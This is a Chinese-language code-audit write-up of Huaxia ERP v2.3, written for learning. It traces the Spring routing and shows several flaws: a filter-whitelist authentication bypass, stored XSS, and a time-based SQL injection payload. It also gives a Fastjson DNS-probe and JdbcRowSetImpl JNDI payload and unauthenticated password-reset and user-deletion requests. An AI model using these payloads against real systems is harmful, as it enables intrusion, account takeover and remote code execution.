华夏 ERP CMS v2.3代码审计

前言

项目地址:华夏ERP_v2.3

代码审计是每个安全从业者必须要会的技能,遂来学习一波

前置知识

工欲善其事,必先利其器

先推荐一些对这个项目比较好用的插件

image-20241007232858319

MyBatisCodeHelperPro 插件有收费功能,但是我们使用免费的功能就够了,可以很方便的跳转到mapper绑定的接口

Rainbow Brackets Lite 彩虹括号,可以提到代码阅读效率

Spring常见注解

注解 作用 使用场景
@Component 标记一个类为 Spring 的组件,Spring 会自动检测并将其作为 Bean 注册到 Spring 容器中。 一般用于服务类、工具类、或任何希望被 Spring 容器管理的类。
@Controller 标记一个类为 Spring MVC 控制器,处理 HTTP 请求并返回视图。 用于 Spring Web 应用中的控制器类,处理前端请求并返回数据或视图。
@Service 标记一个类为服务层组件,用于定义业务逻辑。 用于业务层的服务类(例如,处理数据库操作或业务逻辑)。
@Repository 标记一个类为数据访问层组件,通常用于 DAO 类,表示该类主要用于访问数据库。 用于数据层或持久层的组件,Spring 会提供数据库访问的相关异常翻译功能。
@Autowired 自动注入依赖,Spring 会根据类型来注入 Bean。 用于自动注入 Bean,简化依赖注入的过程。
@Qualifier 指定要注入的 Bean 的名称,当存在多个同类型的 Bean 时,通过该注解来明确指定注入哪一个 Bean。 当一个类型的 Bean 有多个实例时,用于指定注入特定的 Bean。
@Resource @Autowired 类似,但基于 Java EE 注解,通常根据 Bean 的名称进行注入。 用于 Java EE 环境,或者希望通过名称注入的场景。
@Value 用于注入外部配置文件的值(例如,application.propertiesapplication.yml 中的配置)。 注入配置文件中的值到类的属性、构造方法或方法参数中。
@Scope 定义 Bean 的作用域(例如:singleton、prototype 等)。 根据实际需求定义 Bean 的生命周期。
@PostConstruct 标记一个方法,在 Bean 初始化之后自动执行。 在 Bean 初始化完成后执行某些初始化工作。
@PreDestroy 标记一个方法,在容器销毁之前执行,用于做清理工作。 在 Bean 销毁之前执行某些清理操作(例如关闭资源、连接等)。
@Configuration 标记一个类为 Spring 配置类,替代 XML 配置文件,通常用于定义 @Bean 方法。 用于替代传统的 XML 配置文件,定义 Java 配置类。
@ComponentScan 指定扫描的包路径,Spring 容器会自动扫描并注册该路径下的类。 @Configuration 一起使用,指定自动扫描 Bean 的路径。
@Bean 用于在 Java 配置类中定义一个 Bean,相当于 XML 配置中的 <bean> 元素。 在 Java 配置类中手动定义一个 Bean,并将其加入到 Spring 容器中。
@PropertySource 指定外部属性文件的位置,Spring 会将文件中的属性值加载到 Spring 环境中。 用于加载配置文件并将文件中的值注入到 Spring 容器中的 Bean 中。
@Import 导入一个或多个配置类或组件类,使它们成为当前配置类的一部分。 用于导入其他配置类,方便模块化和分离不同的配置。

JAVAWEB 常见项目结构

View(视图层)

  • 负责用户界面展示,直接与用户交互。
  • 显示数据或接受用户输入。

Controller(控制层)

  • 处理视图层的请求,调用服务层完成业务逻辑。
  • 通常对请求参数进行校验,并将结果返回到视图层。

Service(服务层)

  • 封装具体的业务逻辑。
  • 调用 DAO 层与数据库交互,或者与外部服务进行集成。

DAO(持久层)

  • 专门负责与数据库的交互,提供数据的增删改查功能。
  • 通常使用 ORM 框架(如 MyBatis、Hibernate)实现。

Entity(实体类)

  • 数据的实体类,通常与数据库表一一对应。
  • 在持久化操作中充当数据传递的载体。

这样说也许还是有点抽象,我们就拿这个项目来给举例一下

image-20241211110817790

数据走向:

  • 用户通过 视图层(View) 提交请求,数据流入 **控制层(Controller)**。

  • 控制层(Controller) 接收请求后,调用 服务层(Service) 执行业务逻辑。

  • 服务层(Service) 调用 DAO 层 进行数据库操作(例如查询、插入、更新等)。

  • DAO 层 通过 实体类(Entity) 与数据库交互,最终返回数据。

  • 数据经过多层传递和处理,最终在 视图层 展示给用户。

审计准备

审计思路

JAVA的项目一般来讲比较庞大,当我们拿到一个JAVA的项目应该先看什么?代码审计中这个”方向感”特别重要

  1. 上手第一时间先判断技术栈,可以让我们快速了解程序架构,想到潜在的安全漏洞。
  2. 其次这是个maven项目,查看pom.xml文件,它定义了项目的所有依赖、插件以及版本信息,查看项目所依赖的第三方库和它们的版本,以确认是否存在已知的漏洞。 比如这里使用了fastjson,还是有漏洞的版本。

image-20241008170542661

  1. 另外看Filter,为什么看Filter 因为可以看到全局的路由,另外filter是所有请求处理的第一站,这意味着所有潜在的恶意请求在到达Controller之前,都会经过 Filter 进行处理和过滤。另外通过查看filter可以判断应用程序是否存在对用户输入的有效验证和过滤。

image-20241008171132192

1
2
3
4
5
@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
@WebInitParam(name = "filterPath", value = "/user/login#/user/registerUser#/v2/api-docs")})

@WebFilter 说明这是一个filter,并对所有的请求路径都有效,@WebInitParam用于初始化参数,可以在init方法中使用它们

image-20241008190059686

com.jsh.erp.filter.LogCostFilter#init方法中对上面@WebInitParam定义的参数用”#”分割

image-20241008190918885

com.jsh.erp.filter.LogCostFilter#doFilter方法是整个filter的核心部分,这里有几种情况是不阻止的:url包含register.htmllogin.html,以及 doc.htmlcom.jsh.erp.filter.LogCostFilter#verify是自己定义的一个工具方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
private static String regexPrefix = "^.*";
private static String regexSuffix = ".*$";

private static boolean verify(List<String> ignoredList, String url) {
for (String regex : ignoredList) {
Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);
Matcher matcher = pattern.matcher(url);
if (matcher.matches()) {
return true;
}
}
return false;
}

将ignoredUrls中的逐个元素拼接成正则表达式后与当前url进行匹配,匹配成功即返回true,例如第一个元素形成的正则表达式为^.*.css.*$,即只要包含ignoredUrls中的任意一个元素即可在不登录的情况下访问

用于检查请求 URL 是否在忽略列表中;也就是看当前访问的连接是不是.css|.js|.jpg|.png|.gif|.ico文件,这些文件也是不阻止的。如果请求的路由是/user/login/user/registerUser/v2/api-docs,也是不阻止的。

  1. 如果想更清楚的了解网站的架构,那路由分析不可少
  2. 接下来可以结合网站的功能点,结合代码,寻找脆弱点,当然这个比较靠经验。

路由分析

大部分请求路径都包含在Controller文件夹中,这里有一个特殊的类,即com.jsh.erp.controller.ResourceController,它的请求路径中包含{apiName},代码中使用@Resource注解通过名称注入使com.jsh.erp.service.CommonQueryManager类对其进行处理,以com.jsh.erp.service.CommonQueryManager#select方法为例:

1
2
3
4
5
6
public List<?> select(String apiName, Map<String, String> parameterMap)throws Exception {
if (StringUtil.isNotEmpty(apiName)) {
return container.getCommonQuery(apiName).select(parameterMap);
}
return new ArrayList<Object>();
}

它调用了com.jsh.erp.service.InterfaceContainer,其中InterfaceContainer 的init方法会在Spring 容器启动时自动初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class InterfaceContainer {
private final Map<String, ICommonQuery> configComponentMap = new HashMap<>();

@Autowired(required = false)
private synchronized void init(ICommonQuery[] configComponents) {
for (ICommonQuery configComponent : configComponents) {
ResourceInfo info = AnnotationUtils.getAnnotation(configComponent, ResourceInfo.class);
if (info != null) {
configComponentMap.put(info.value(), configComponent);
}
}
}

public ICommonQuery getCommonQuery(String apiName) {
return configComponentMap.get(apiName);
}
}

configComponentMap存放的是ICommonQuery的实现类,即如图所示:

image-20241214201442220

  • @Autowired(required = false):Spring 在初始化 InterfaceContainer 时,会自动收集所有实现了 ICommonQuery 接口的 Bean,注入到 init 方法的 configComponents 参数中。
  • init 方法逻辑:
    1. 遍历所有注入的 ICommonQuery 实现类。
    2. 通过 AnnotationUtils.getAnnotation 检查每个类是否包含 @ResourceInfo 注解。
    3. 如果找到注解,则将注解的 value 值作为 key,对应的组件实例作为 value,存入 configComponentMap
  • 最终结果: configComponentMap其中 key 是 @ResourceInfovalue(如 "account"),value 是对应的组件实例(如 AccountComponent)(这就是一些文章说的与目录对应)。

image-20241216004531060

初始化完成后,接着以com.jsh.erp.service.account.AccountComponent#select为例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@Service(value = "account_component")
@AccountResource
public class AccountComponent implements ICommonQuery {

@Resource
private AccountService accountService;

@Override
public List<?> select(Map<String, String> map)throws Exception {
return getAccountList(map);
}

private List<?> getAccountList(Map<String, String> map) throws Exception{
String search = map.get(Constants.SEARCH);
String name = StringUtil.getInfo(search, "name");
String serialNo = StringUtil.getInfo(search, "serialNo");
String remark = StringUtil.getInfo(search, "remark");
String order = QueryUtils.order(map);
return accountService.select(name, serialNo, remark, QueryUtils.offset(map), QueryUtils.rows(map));
}
}

调用了com.jsh.erp.service.account.AccountService#select,接着ctrl+鼠标左键select方法就看到到了dao层,进行真正的数据处理。

总结一下就是每个Component类(这里以AccountComponent举例)的@AccountResource注解将@ResourceInfo(value = "account")com.jsh.erp.service.account.AccountComponent绑定,在InterfaceContainer类中Spring 启动时会扫描所有实现了 ICommonQuery 接口的组件。通过反射读取每个组件上的 @ResourceInfo 注解的 value 值,将其作为键(apiName),组件实例作为值,存入 configComponentMap。当我们访问接口,比如:GET /account/list。在 Controller 中,apiName 从路径参数中解析出来(@PathVariable("apiName")),值为 "account"CommonQueryManagerapiName 传递给 InterfaceContainerInterfaceContainer 使用 configComponentMap.get(apiName) 查找对应的组件实例,找到 AccountComponent。调用其 select 方法,执行对应的业务逻辑。

数据流:

1
HTTP 请求 -> ResourceController -> CommonQueryManager -> InterfaceContainer -> ICommonQuery 实现类 -> DAO 层 -> 数据库

未授权访问

阅读filter代码我们发现加了白,对应的资源加白在 ignoredUrl 中,以 # 分割,看似没什么问题;还有对应的 Path 加白,加了 /user/login/user/registerUser 以及 /v2/api-docs

对于加白的思索:是否会存在潜在的未授权访问?对于资源加白 ———— ignoredList 的判断只是进行了正则的判断,这并不符合开发的安全性,正确的写法应该使用 endsWith() 来判断 URL 是否以 .css.js 等资源后缀结尾

我们去找Controller(上面在介绍常见项目结构的时候也介绍过了,Controller是JavaWeb的入口点)。

直接使用.css|.js|.jpg|.png|.gif|.ico绕过

image-20241022111405315

image-20241022111454313

这个接口能看到所有的信息

image-20250101203233135

对于 URL 加白的思考:使用 startsWith() 方法来判断 URL 是否是白名单开头的时候,可以使用目录穿越来骗过判断,导致可以绕过认证请求。image-20241211214031549

image-20241022122917387

存储型XSS

其实之前在看filter的时候我们就可以发现,并没有做过滤。我平常的习惯也就是见框就x

image-20241022194258135

SQL注入

因为组件是Mybatis,SQL注入在Mybatis框架下一般寻找mapper下的xml文件中的${}、like、in、order by,因为${}是字符串替换意思就是咱们输入的字符可以直接作为sql的查询语句,like in order by 不能进行预编译,在过滤不严的情况下也有可能导致sql注入。

在mapper_xml文件 ctrl+shift+f 搜索${

image-20241022123722647

然后就到了这里,这时候插件的好处就来了,ctrl+鼠标左键点击蓝色的小鸟

image-20241022124121138

直接跳转到对应的接口方法com.jsh.erp.datasource.mappers.UserMapperEx#selectByConditionUser,然后ctrl+鼠标左键找上层调用image-20241022160028086

然后就找到了com.jsh.erp.service.user.UserService#select 继续往上找

image-20241022155725036

按住CTRL+鼠标左键然后点击函数,即可看到调用位置为com.jsh.erp.service.user.UserComponent#getUserList

可以看到这里的usernamepassword是直接通过com.jsh.erp.utils.StringUtil#getInfo函数获取到的

image-20241022160936325

可以看到在这个函数中调用了fastjson中的com.alibaba.fastjson.JSON#parseObject(java.lang.String)方法,去解析一个变量叫做search

image-20241022161209094

还是没有到Controller层,继续Ctrl+B,来到com.jsh.erp.service.CommonQueryManager

1
2
3
4
5
6
public List<?> select(String apiName, Map<String, String> parameterMap)throws Exception {
if (StringUtil.isNotEmpty(apiName)) {
return container.getCommonQuery(apiName).select(parameterMap);
}
return new ArrayList<Object>();
}

继续往上,终于来到ResourceController

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@GetMapping(value = "/{apiName}/list")
public String getList(@PathVariable("apiName") String apiName,
@RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize,
@RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage,
@RequestParam(value = Constants.SEARCH, required = false) String search,
HttpServletRequest request) throws Exception {
Map<String, String> parameterMap = ParamUtils.requestToMap(request);
parameterMap.put(Constants.SEARCH, search);
PageQueryInfo queryInfo = new PageQueryInfo();
Map<String, Object> objectMap = new HashMap<String, Object>();
if (pageSize != null && pageSize <= 0) {
pageSize = 10;
}
String offset = ParamUtils.getPageOffset(currentPage, pageSize);
if (StringUtil.isNotEmpty(offset)) {
parameterMap.put(Constants.OFFSET, offset);
}
List<?> list = configResourceManager.select(apiName, parameterMap);

objectMap.put("page", queryInfo);
if (list == null) {
queryInfo.setRows(new ArrayList<Object>());
queryInfo.setTotal(BusinessConstants.DEFAULT_LIST_NULL_NUMBER);
return returnJson(objectMap, "查找不到数据", ErpInfo.OK.code);
}
queryInfo.setRows(list);
queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap));
return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
}

通过前面的路由分析可知,这里的apiname为user

正向数据链:

/user/list——>ResourceController.getList——>CommonQueryManager.select——>UserComponent.select——>UserComponent.getUserList——>UserService.select——>UserMapperEx.selectByConditionUser——>UserMapperEx.xml中id为selectByConditionUser的查询

同样的道理,在这个getList方法中,还有一个select查询,对应的数据链:

/user/list——>ResourceController.getList——>CommonQueryManager.counts——>UserComponent.counts——>UserService.countUser——>UserMapperEx.countsByUser——>UserMapperEx.xml中id为countsByUser的查询

触发页面

image-20241022162217123

抓个包可以看到确实有userName、loginName参数

image-20241022162425354

我们可以直接来验证一下

1
{"userName":"","loginName":"' AND SLEEP(5)--+"}

image-20241022172143088

Fastjson漏洞

刚开始我们看组件的时候就发现这个fastjson是有漏洞的版本,且在上面sql注入分析的时候就发现com.jsh.erp.utils.StringUtil#getInfo使用了fastjson

1
2
3
4
5
6
7
8
9
10
11
public static String getInfo(String search, String key){
String value = "";
if(search!=null) {
JSONObject obj = JSONObject.parseObject(search);
value = obj.getString(key);
if(value.equals("")) {
value = null;
}
}
return value;
}

详细利用可以看https://github.com/safe6Sec/Fastjson

当我们不知道具体版本的情况下利用下面的代码探测版本

1
2
{
"@type": "java.lang.AutoCloseable"

image-20250102153651813

虽然这里没有回显,但是其实报错已经有了版本

image-20250102153719821

使用{“@type”:”java.net.Inet4Address”,”val”:”01z8zqebq8y495se6ypru6f08rei2ez2o.oastify.com”}探测一下

image-20241022191119014

可以看到DNS是有记录的,证明存在 Fastjson 漏洞,然后我们进一步构造 payload。

image-20241022191128135

使用https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

image-20250102154143186

构造

1
{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/remoteExploit8", "autoCommit":true}

image-20250102154450060

但是我们看到autoType没有开启

越权

重置密码

jsh账户有重置密码的权限,登录jsh账户抓一个重置密码的包

image-20250102143357584

普通账户没有重置密码的功能,不过我们可以利用未授权访问中的方法来绕过。也就是说,我们可以利用普通用户构造如下数据包来越权修改他人的密码为初始密码123456,我们先登录用户jsh/123456,然后抓包改包为如下内容(注意这里删除cookie,这样就是在未授权的情况下重置他人的密码):

image-20250102150407547

可以看到密码修改成功了

image-20250102150722194

image-20250102143432284

让我们跟进代码逻辑看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
    @PostMapping(value = "/resetPwd")
public String resetPwd(@RequestParam("id") Long id,
HttpServletRequest request) throws Exception {
Map<String, Object> objectMap = new HashMap<String, Object>();
String password = "123456";
String md5Pwd = Tools.md5Encryp(password);
int update = userService.resetPwd(md5Pwd, id);
if(update > 0) {
return returnJson(objectMap, message, ErpInfo.OK.code);
} else {
return returnJson(objectMap, message, ErpInfo.ERROR.code);
}
}



com.jsh.erp.service.user.UserService#resetPwd
@Transactional(value = "transactionManager", rollbackFor = Exception.class)
public int resetPwd(String md5Pwd, Long id) throws Exception{
int result=0;
logService.insertLog("用户",
new StringBuffer(BusinessConstants.LOG_OPERATION_TYPE_EDIT).append(id).toString(),
((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest());
User u = getUser(id);
String loginName = u.getLoginName();
if("admin".equals(loginName)){
logger.info("禁止重置超管密码");
} else {
User user = new User();
user.setId(id);
user.setPassword(md5Pwd);
try{
result=userMapper.updateByPrimaryKeySelective(user);
}catch(Exception e){
JshException.writeFail(logger, e);
}
}
return result;
}

image-20241216142220808

可以看到写的非常简单,除了admin用户的密码不能更改,其他的都可以通过这个方式更改。可以结合前面的未授权访问综合利用。

修改密码

登录自己的用户抓一个修改密码的包

image-20250102132756709

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /user/updatePwd HTTP/1.1
Host: 192.168.66.71:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 39
Origin: http://192.168.66.71:8081
Connection: keep-alive
Referer: http://192.168.66.71:8081/pages/user/password.html
Cookie: JSESSIONID=37852FF6DA4CF637247A0462EDEAF2BD
Priority: u=0

userId=137&password=44444&oldpwd=123456

我这个用户的id是137,当我把id改为138也是成功了

image-20250102142750571

实战场景下,可以看有没有用户没有修改默认密码的。

image-20250102140930464

删除用户

我们先用 admin 的账户抓一个 deleteUser 的包

image-20250102151156587

可以用同样的方式绕过(删除cookie)

image-20250102151212376

image-20250102151254729

image-20250102151518564

看一下代码逻辑,接收参数ids,使用逗号,分割,调用userMapperEx.batDeleteOrUpdateUser()方法将ids参数拼接进sql语句进行删除,这里没有对当前执行删除用户操作的用户身份做判断。

image-20241216152835673

参考文章

Spring&SpringBoot常用注解总结

深入学习Java代码审计技巧—详细剖析某erp漏洞

java 代码审计之华夏 ERP CMS v2.3

【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)


华夏 ERP CMS v2.3代码审计
https://sp4rks3.github.io/2025/01/02/代码审计/华夏ERP_v2.3代码审计/
作者
Sp4rks3
发布于
2025年1月2日
许可协议